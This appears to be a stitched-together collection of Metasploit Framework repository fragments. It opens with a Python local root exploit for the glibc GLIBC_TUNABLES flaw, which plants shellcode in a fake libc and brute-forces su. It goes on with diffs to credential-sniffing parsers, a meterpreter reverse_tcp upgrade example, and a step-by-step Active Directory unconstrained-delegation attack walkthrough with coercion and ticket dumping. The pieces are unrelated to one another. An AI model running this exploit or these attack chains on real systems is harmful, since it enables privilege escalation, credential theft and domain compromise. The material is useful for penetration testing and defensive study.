NUMBER_OF_ENTRIES = "shnum"
ENTRY_SIZE = "shentsize"
ENTRY_KEYS = "name type flags addr offset size link info addralign entsize"
HEADER_ENTRY_FORMAT_64_BIT = "<LLQQQQLLQQ"
HEADER_ENTRY_FORMAT_32_BIT = "<LLLLLLLLLL"
GNU_BUILD_ID = ".note.gnu.build-id"
LIBC_START_MAIN = "__libc_start_main"
DYNAMIC_SYMBOL = ".dynsym"
DYNAMIC_STRING = ".dynstr"
SYMBOL_STRUCTURE_KEYS_64_BIT = "name info other shndx value size"
SYMBOL_STRUCTURE_FORMAT_64_BIT = "<LBBHQQ"
SYMBOL_STRUCTURE_KEYS_32_BIT = "name value size info other shndx"
SYMBOL_STRUCTURE_FORMAT_32_BIT = "<LLLBBH"
ELF_HEADER_KEYS = f"type machine version entry phoff shoff flags ehsize phtentsize phnum {ENTRY_SIZE} {NUMBER_OF_ENTRIES} {STRING_TABLE_INDEX}"
ELF_ENTRY_FORMAT_64_BIT = "<HHLQQQLHHHHHH"
ELF_ENTRY_FORMAT_32_BIT = "<HHLLLLLHHHHHH"
unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))
TARGETS = {
"i686": {
"shellcode": unhex(
"METASPLOIT_SHELL_CODE"
),
"exitcode": unhex("6a665b6a0158cd80"),
"stack_top": 0xC0000000,
"stack_aslr_bits": 23,
},
"x86_64": {
"shellcode": unhex(
"METASPLOIT_SHELL_CODE"
),
"exitcode": unhex("6a665f6a3c580f05"),
"stack_top": 0x800000000000,
"stack_aslr_bits": 34,
},
"aarch64": {
"shellcode": unhex(
"METASPLOIT_SHELL_CODE"
),
"exitcode": unhex("c00c80d2a80b80d2010000d4"),
"stack_top": 0x1000000000000,
"stack_aslr_bits": 30,
},
}
# Magic offsets for build IDs can be found for versions of glibc by disabling ASLR and using the original PoC: https://haxx.in/files/gnu-acme.py
BUILD_IDS = METASPLOIT_BUILD_IDS
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
resource.setrlimit(
resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)
)
def find_path_before_null_character(blob_data, start_offset):
current_position = start_offset
while current_position > 0:
current_byte = blob_data[current_position]
next_byte = blob_data[current_position + 1] if current_position + 1 < len(blob_data) else None
if current_byte != 0 and current_byte != 0x2F and next_byte == 0:
path_byte = bytes([current_byte])
offset_from_start = current_position - start_offset
return {"path": path_byte, "offset": offset_from_start}
current_position -= 1
return None
def parse_structured_data(structure_format, structure_keys, structure_data):
unpacked_data = struct.unpack(structure_format, structure_data)
parsed_structure = dict(zip(structure_keys.split(" "), unpacked_data))
return parsed_structure
def fetch_c_library_path():
class LoadedLibrary(Structure):
_fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)]
libc_library = CDLL(find_library("c"))
dl_library = CDLL(find_library("dl"))
dl_info_function = dl_library.dlinfo
dl_info_function.argtypes = c_void_p, c_int, c_void_p
dl_info_function.restype = c_int
link_map_ptr = c_void_p()
dl_info_function(libc_library._handle, 2, byref(link_map_ptr))
return cast(link_map_ptr, POINTER(LoadedLibrary)).contents.l_name
def execute_process(executable_path, arguments_list, environment_variables):
libc.execve(executable_path, arguments_list, environment_variables)
def execute_and_monitor(executable, arguments, environment):
argument_pointers = (c_char_p * len(arguments))(*arguments)
environment_pointers = (c_char_p * len(environment))(*environment)
child_pid = os.fork()
if not child_pid:
execute_process(executable, argument_pointers, environment_pointers)
exit(0)
start_time = time.time()
while True:
try:
pid, status = os.waitpid(child_pid, os.WNOHANG)
if pid == child_pid:
if os.WIFEXITED(status):
return os.WEXITSTATUS(status) & 0xFF7F
else:
return 0
except:
pass
current_time = time.time()
if current_time - start_time >= 1.5:
os.waitpid(child_pid, 0)
return "Success"
class DelayedElfParser:
def __init__(self, filename):
self.data = open(filename, "rb").read()
self.architecture = 64 if self.data[4] == 2 else 32
elf_header_size = 0x30 if self.architecture == 64 else 0x24
self.header = parse_structured_data(
ELF_ENTRY_FORMAT_64_BIT if self.architecture == 64 else ELF_ENTRY_FORMAT_32_BIT,
ELF_HEADER_KEYS,
self.data[0x10: 0x10 + elf_header_size],
)
section_header_table_index = self.extract_section_header(self.header[STRING_TABLE_INDEX])
self.section_header_names = self.data[section_header_table_index["offset"] : section_header_table_index["offset"] + section_header_table_index["size"]]
def extract_section_header(self, index):
header_offset = self.header["shoff"] + (index * self.header[ENTRY_SIZE])
entry_format = HEADER_ENTRY_FORMAT_64_BIT if self.architecture == 64 else HEADER_ENTRY_FORMAT_32_BIT
return parse_structured_data(entry_format, ENTRY_KEYS, self.data[header_offset : header_offset + self.header[ENTRY_SIZE]])
def extract_section_header_by_name(self, section_name):
encoded_name = section_name.encode()
for section_index in range(self.header[NUMBER_OF_ENTRIES]):
section_header = self.extract_section_header(section_index)
section_name_data = self.section_header_names[section_header["name"]:].split(b"\x00")[0]
if section_name_data == encoded_name:
return section_header
return None
def extract_section_by_name(self, section_name):
section_header = self.extract_section_header_by_name(section_name)
if section_header:
start_offset = section_header["offset"]
end_offset = start_offset + section_header["size"]
return self.data[start_offset:end_offset]
return None
def extract_symbol_value(self, symbol_name):
encoded_name = symbol_name.encode()
dynamic_symbol = self.extract_section_by_name(DYNAMIC_SYMBOL)
dynamic_string = self.extract_section_by_name(DYNAMIC_STRING)
symbol_entry_size = 24 if self.architecture == 64 else 16
for entry_index in range(len(dynamic_symbol) // symbol_entry_size):
entry_start = entry_index * symbol_entry_size
if self.architecture == 64:
symbol_entry = parse_structured_data(
SYMBOL_STRUCTURE_FORMAT_64_BIT,
SYMBOL_STRUCTURE_KEYS_64_BIT,
dynamic_symbol[entry_start: entry_start + symbol_entry_size],
)
else:
symbol_entry = parse_structured_data(
SYMBOL_STRUCTURE_FORMAT_32_BIT,
SYMBOL_STRUCTURE_KEYS_32_BIT,
dynamic_symbol[entry_start: entry_start + symbol_entry_size],
)
entry_name = dynamic_string[symbol_entry["name"]:].split(b"\x00")[0]
if entry_name == encoded_name:
return symbol_entry["value"]
return None
def create_environment(adjustment, address, offset, bits=64):
if bits == 64:
environment = [
TUNABLES_MISCONFIG + b"P" * adjustment,
TUNABLES_MISCONFIG + b"X" * 8,
TUNABLES_MISCONFIG + b"X" * 7,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
]
padding = 172
fill = 47
else:
environment = [
TUNABLES_MISCONFIG + b"P" * adjustment,
TUNABLES_MISCONFIG + b"X" * 7,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
]
padding = 87
fill = 47 * 2
for j in range(padding):
environment.append(b"")
if bits == 64:
environment.append(struct.pack("<Q", address))
environment.append(b"")
else:
environment.append(struct.pack("<L", address))
for _ in range(384):
environment.append(b"")
for _ in range(fill):
if bits == 64:
environment.append(
struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
)
else:
environment.append(
struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7
)
environment.append(None)
return environment
def error_and_exit(error_msg):
print("Error: %s" % error_msg)
exit(-1)
if __name__ == "__main__":
architecture = os.uname().machine
if architecture not in TARGETS.keys():
error_and_exit("This target's architecture '%s' is not supported by this exploit" % architecture)
c_library_path = fetch_c_library_path()
su_binary_path = which("su")
memory_alignment = ((0x100 - (len(su_binary_path) + 1 + 8)) & 7) + 8
su_binary_elf = DelayedElfParser(su_binary_path)
dynamic_linker_path = su_binary_elf.extract_section_by_name(".interp").strip(b"\x00").decode('utf-8')
dynamic_linker_elf = DelayedElfParser(dynamic_linker_path)
dynamic_linker_build_id = binascii.hexlify(
dynamic_linker_elf.extract_section_by_name(GNU_BUILD_ID)[-20:]).decode()
if dynamic_linker_build_id not in BUILD_IDS.keys():
error_and_exit("The build ID found is not exploitable")
libc_elf = DelayedElfParser(c_library_path)
libc_start_main = libc_elf.extract_symbol_value(LIBC_START_MAIN)
if libc_start_main == None:
error_and_exit("The symbol in the libc ELF '__libc_start_main' could not be resolved.")
su_binary_offset = su_binary_elf.extract_section_header_by_name(".dynstr")["offset"]
potential_path = find_path_before_null_character(su_binary_elf.data, su_binary_offset)
if potential_path is None:
error_and_exit("The potential path in the su_binary could not be found.")
if not os.path.exists(potential_path["path"]):
os.mkdir(potential_path["path"])
with open(potential_path["path"] + b"/libc.so.6", "wb") as file_handle:
file_handle.write(libc_elf.data[0:libc_start_main])
file_handle.write(TARGETS[architecture]["shellcode"])
file_handle.write(libc_elf.data[libc_start_main + len(TARGETS[architecture]["shellcode"]):])
stack_address = TARGETS[architecture]["stack_top"] - (1 << (TARGETS[architecture]["stack_aslr_bits"]))
stack_address += memory_alignment
for i in range(6 if su_binary_elf.architecture == 64 else 4):
if (stack_address >> (i * 8)) & 0xFF == 0:
stack_address |= 0x10 << (i * 8)
environment = create_environment(BUILD_IDS[dynamic_linker_build_id], stack_address, potential_path["offset"],
su_binary_elf.architecture)
count = 1
argv = [b"su", b"--help", None]
while True:
if execute_and_monitor(su_binary_path.encode(), argv, environment) == "Success":
exit(0)
count += 1
+20 -2
View File
@@ -40,7 +40,16 @@ class SnifferFTP < BaseProtocolParser
when :login_fail
if(s[:user] and s[:pass])
report_auth_info(s.merge({:active => false}))
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Response code 5 from server",
:status => Metasploit::Model::Login::Status::INCORRECT
)
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
s[:pass] = ""
@@ -49,7 +58,16 @@ class SnifferFTP < BaseProtocolParser
when :login_pass
if(s[:user] and s[:pass])
report_auth_info(s)
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Response code 230 from server",
:status => Metasploit::Model::Login::Status::SUCCESSFUL
)
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
# Remove it form the session objects so freeup memory
sessions.delete(s[:session])
+30 -3
View File
@@ -44,7 +44,16 @@ class SnifferIMAP < BaseProtocolParser
when :login_pass
report_auth_info(s)
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Capability OK reponse from server",
:status => Metasploit::Model::Login::Status::SUCCESSFUL
)
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
@@ -52,14 +61,32 @@ class SnifferIMAP < BaseProtocolParser
when :login_fail
report_auth_info(s.merge({:active => false}))
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Capability NO response from server",
:status => Metasploit::Model::Login::Status::INCORRECT
)
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
sessions.delete(s[:session])
when :login_bad
report_auth_info(s.merge({:active => false}))
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:sname],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Capability BAD response from server",
:status => Metasploit::Model::Login::Status::UNTRIED
)
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
+20 -2
View File
@@ -52,7 +52,16 @@ class SnifferPOP3 < BaseProtocolParser
s[:proto] = "tcp"
s[:name] = "pop3"
s[:extra] = "Successful Login. Banner: #{s[:banner]}"
report_auth_info(s)
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:name],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => s[:extra],
:status => Metasploit::Model::Login::Status::SUCCESSFUL
)
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
# Remove it form the session objects so freeup
@@ -72,7 +81,16 @@ class SnifferPOP3 < BaseProtocolParser
s[:proto]="pop3"
s[:extra]="Failed Login. Banner: #{s[:banner]}"
report_auth_info(s)
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => s[:proto],
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => s[:extra],
:status => Metasploit::Model::Login::Status::INCORRECT
)
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
s[:pass]=""
end
+18 -18
View File
@@ -4,7 +4,7 @@
# When db is available reports go into db
#
#Memo :
#Memo :
#FOR SMBV1
# Authentification without extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
@@ -20,7 +20,7 @@
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
#FOR SMBV2
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
class SnifferSMB < BaseProtocolParser
@@ -132,7 +132,7 @@ class SnifferSMB < BaseProtocolParser
ntlmlength = payload[53,2].unpack("v")[0]
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
s[:user] = names[0]
@@ -145,8 +145,8 @@ class SnifferSMB < BaseProtocolParser
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
#do not output anonymous/guest logging
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
#set lmhash to a default value if not provided
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
#set lmhash to a default value if not provided
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
smb_status = payload[9,4].unpack("V")[0]
@@ -157,29 +157,29 @@ class SnifferSMB < BaseProtocolParser
logmessage =
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
"SERVER CHALLENGE:#{s[:challenge]} " +
"\nLMHASH:#{s[:lmhash]} " +
"SERVER CHALLENGE:#{s[:challenge]} " +
"\nLMHASH:#{s[:lmhash]} " +
"\nNTHASH:#{s[:ntlmhash]}\n"
print_status(logmessage)
src_ip = s[:client_host]
dst_ip = s[:host]
# know this is ugly , last code added :-/
smb_db_type_hash = case ntlm_ver
when "NTLMv1" then "smb_netv1_hash"
when "NTLM2_SESSION" then "smb_netv1_hash"
when "NTLMv2" then "smb_netv2_hash"
when "NTLMv1" then "netntlm"
when "NTLM2_SESSION" then "netntlm"
when "NTLMv2" then "netntlmv2"
end
# DB reporting
report_auth_info(
:host => dst_ip,
:port => 445,
:sname => 'smb',
report_cred(
:ip => dst_ip,
:port => s[:port],
:service_name => 'smb',
:user => s[:user],
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
:type => smb_db_type_hash,
:password => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
:type => :nonreplayable_hash,
:jtr_format => smb_db_type_hash,
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
:active => true
:status => Metasploit::Model::Login::Status::SUCCESSFUL
)
report_note(
+10 -1
View File
@@ -44,7 +44,16 @@ class SnifferURL < BaseProtocolParser
end
if s[:basic_auth]
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
report_auth_info s
report_cred(
:ip => s[:host],
:port => s[:port],
:service_name => 'http',
:user => s[:user],
:password => s[:pass],
:type => :password,
:proof => "Session: #{s[:session]} Basic Auth: #{s[:basic_auth]}",
:status => Metasploit::Model::Login::Status::UNTRIED
)
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
end
when nil
@@ -88,6 +88,7 @@ strtab:
db 0
db 0
strtabsz equ $ - strtab
align 16
global _start
_start:
Binary file not shown.
@@ -60,3 +60,4 @@ paid-memberships-pro
woocommerce-payments
file-manager-advanced-shortcode
royal-elementor-addons
backup-backup
File diff suppressed because it is too large Load Diff
@@ -8,7 +8,7 @@ There are two main ports for SMB:
- 445/TCP - Newer versions of SMB use this port, were NetBIOS is not used.
Other terminology to be aware of:
- SMB - Serer Message Blocks
- SMB - Server Message Blocks
- CIFS - Common Internet File System
- Samba - A free software re-implementation of SMB, which is frequently found on unix-like systems
@@ -20,3 +20,13 @@ run session=-1
run session=-1 win_transfer=POWERSHELL
run session=-1 win_transfer=VBS
```
If you want to upgrade your shell with fine control over what payload, use the `PAYLOAD_OVERRIDE`, `PLATFORM_OVERRIDE`, and on windows, `PSH_ARCH_OVERRIDE`. All 3 options are required to set an override on windows, and the first two options are required on other platforms, unless you are not using an override.
```
use multi/manage/shell_to_meterpreter
set SESSION 1
set PAYLOAD_OVERRIDE windows/meterpreter/reverse_tcp
set PLATFORM_OVERRIDE windows
set PSH_ARCH_OVERRIDE x64
```
@@ -24,7 +24,9 @@ The latest OS X installer package can also be downloaded directly here: <https:/
## Installing Metasploit on Windows
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/). To install, simply download the .msi package, adjust your Antivirus as-needed to ignore c:\metasploit-framework, double-click and enjoy. The msfconsole command and all related tools will be added to the system %PATH% environment variable.
Download the [latest Windows installer](https://windows.metasploit.com/metasploitframework-latest.msi) or [view older builds](https://windows.metasploit.com/).
To install, download the `.msi` package, adjust your Antivirus as-needed to ignore `c:\metasploit-framework` and execute the installer by right-clicking the installer file and selecting "Run as Administrator".
The msfconsole command and all related tools will be added to the system `%PATH%` environment variable.
### Windows Anti-virus software flags the contents of these packages!
@@ -0,0 +1,226 @@
# Unconstrained Delegation Exploitation
If a computer account is configured for unconstrained delegation, and an attacker has administrative access to it then
the attacker can leverage it to compromise the Active Directory domain.
## Lab setup
For this attack to work there must be a computer account (workstation or server) in the active directory domain that has
been configured for unconstrained delegation.
On the domain controller:
1. Open "Active Directory Users and Computers"
2. Navigate to the computer account, right click and select "Properties"
3. In the "Delegation" tab, select "Trust this computer for delegation to any service (Kerberos only)"
On the target computer:
1. Force an update of group policy by running `gpupdate /force`
2. Reboot the computer
## Attack Workflow
This attack assumes that the attacker has:
1. The IP address of the domain controller.
2. The active directory domain name.
3. A compromised domain account (no special privileges are necessary).
4. The ability to fully compromise a target system through some means.
5. (Optional but recommended) Metasploit running with an attached database so the Kerberos ticket cache can be used.
Verify this using the `db_status` command.
At a high-level the summary to leverage this attack chain is:
1. Identify a target computer account configured with unconstrained delegation.
2. Compromise that target computer account to open a Meterpreter session with administrative privileges (SYSTEM works).
3. Coerce authentication to the compromised target from a domain controller.
4. Dump the Kerberos tickets from the compromised targets to obtain a TGT from the domain controller's computer account.
5. Use the TGT to authenticate to the domain controller as itself (the computer account).
### Target Identification
The unconstrained delegation setting is stored as a bit flag in the `userAccountControl` LDAP attribute. A domain
account can be used with the `auxiliary/gather/ldap_query` module to identify computer accounts configured for
unconstrained delegation. Note that by default domain controllers themselves are configured for unconstrained delegation
and should be ignored as targets.
Use the `ENUM_UNCONSTRAINED_DELEGATION` action to enumerate targets:
```
msf6 > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(gather/ldap_query) > set DOMAIN msflab.local
DOMAIN => msflab.local
msf6 auxiliary(gather/ldap_query) > set USERNAME aliddle
USERNAME => aliddle
msf6 auxiliary(gather/ldap_query) > set PASSWORD Password1!
PASSWORD => Password1!
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION
ACTION => ENUM_UNCONSTRAINED_DELEGATION
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[+] 192.168.159.10:389 Discovered schema DN: DC=msflab,DC=local
CN=WS01 CN=Computers DC=msflab DC=local
=======================================
Name Attributes
---- ----------
cn WS01
objectcategory CN=Computer,CN=Schema,CN=Configuration,DC=msflab,DC=local
samaccountname WS01$
CN=DC OU=Domain Controllers DC=msflab DC=local
==============================================
Name Attributes
---- ----------
cn DC
memberof CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=msflab,DC=local || CN=Cert Publishers,CN=Users,DC=msflab,DC=local
objectcategory CN=Computer,CN=Schema,CN=Configuration,DC=msflab,DC=local
samaccountname DC$
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
This results in two potential targets, WS01 and DC. Next, use the `ENUM_DOMAIN_CONTROLLERS` action to identify the
domain controllers to remove from the list of potential targets.
```
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS
ACTION => ENUM_DOMAIN_CONTROLLERS
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[+] 192.168.159.10:389 Discovered schema DN: DC=msflab,DC=local
CN=DC OU=Domain Controllers DC=msflab DC=local
==============================================
Name Attributes
---- ----------
distinguishedname CN=DC,OU=Domain Controllers,DC=msflab,DC=local
dnshostname DC.msflab.local
name DC
operatingsystem Windows Server 2019 Standard
operatingsystemversion 10.0 (17763)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
This shows that DC is a domain controller and should be removed from the list, leaving WS01 as the only viable target.
### Exploitation
Now the WS01 system needs to be compromised through some means to obtain a Meterpreter session. Once a Meterpreter
session has been obtained, the Domain Controller needs to be coerced into authenticating to the target. The
`auxiliary/scanner/dcerpc/petitpotam` module can be used for this purpose. Use the module, and take care to set the
`LISTENER` option to **the hostname of the compromised host**. The hostname must be used and not an IP address. Set the
remaining options including `RHOSTS` to the domain controller, and `SMBUser` / `SMBPass` to the credentials of the
compromised domain account.
```
msf6 > use auxiliary/scanner/dcerpc/petitpotam
msf6 auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local
LISTENER => ws01.msflab.local
msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1!
SMBPass => Password1!
msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(scanner/dcerpc/petitpotam) > run
[+] 192.168.159.10:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
[*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/dcerpc/petitpotam) >
```
If the module does not indicate that the attack was successful, another tool like
[`Coercer`](https://github.com/p0dalirius/Coercer) can be used to try additional methods.
Now that the domain controller has authenticated to the target it's necessary to dump the kerberos tickets from the
compromised target. Use the `post/windows/manage/kerberos_tickets` module and the `DUMP_TICKETS` action to dump the TGTs
from the compromised host. If the attack was successful there should be at least one TGT from the domain controller's
computer account.
```
msf6 > use post/windows/manage/kerberos_tickets
msf6 post(windows/manage/kerberos_tickets) > set SESSION -1
SESSION => -1
msf6 post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/*
SERVICE => krbtgt/*
msf6 post(windows/manage/kerberos_tickets) > run
[*] LSA Handle: 0x000001efe1c415a0
[*] LogonSession LUID: 0x00004bc1d
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:33:17 -0400
[*] Ticket[0]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823151727_default_192.168.159.10_mit.kerberos.cca_488233.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 08:33:17 -0400
End time: 2023-08-23 18:33:17 -0400
Renew Till: 2023-08-30 08:33:17 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw==
[*] LogonSession LUID: 0x00001052b
[*] User: Window Manager\DWM-1
[*] Session: 1
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:38 -0400
... omitted for brevity ...
```
In this case, a TGT for the `MSFLAB\DC$` account was obtained through the logon session with LUID `0x00004bc1d`. The
ticket was stored to disk in a ccache file. The ticket can also be seen in the output of `klist`.
```
msf6 post(windows/manage/kerberos_tickets) > klist
Kerberos Cache
==============
id host principal sname issued status path
-- ---- --------- ----- ------ ------ ----
411 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823151744_default_192.168.159.10_mit.kerberos.cca_307418.bin
407 192.168.159.10 WS01$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 15:14:46 -0400 active /home/smcintyre/.msf4/loot/20230823151735_default_192.168.159.10_mit.kerberos.cca_760842.bin
msf6 post(windows/manage/kerberos_tickets) >
```
### Using The Ticket
Now that at TGT for the domain controller has been obtained, it can be used in a Pass-The-Ticket style attack whereby
the attacker uses it to authenticate to the target. The `auxiliary/gather/windows_secrets_dump` module is a good one to
use for this purpose as it will yield additional accounts while avoiding running any kind of payload on the domain
controller.
+5 -1
View File
@@ -186,7 +186,11 @@ NAVIGATION_CONFIG = [
},
{
path: '../../documentation/modules/auxiliary/admin/ldap/rbcd.md',
title: 'RBCD - Resource-based constrained delegation'
title: 'Resource-based constrained delegation (RBCD)'
},
{
path: 'kerberos/unconstrained_delegation.md',
title: 'Unconstrained delegation'
}
]
},
+74
View File
@@ -0,0 +1,74 @@
## ASREP-roast
The `auxiliary/gather/asrep` module can be used to find users who have Pre-authentication disabled,
and retrieve credentials that can be cracked using a hash-cracking tool.
The following ACTIONS are supported:
- **BRUTE_FORCE**: Make TGT requests for all usernames in a given file. This does not require
valid domain credentials.
- **LDAP**: Request the set of users with pre-authentication disabled using an LDAP query, and
then request TGTs for these users.
## Module usage
- Start `msfconsole`
- Do: `use auxiliary/gather/asrep`
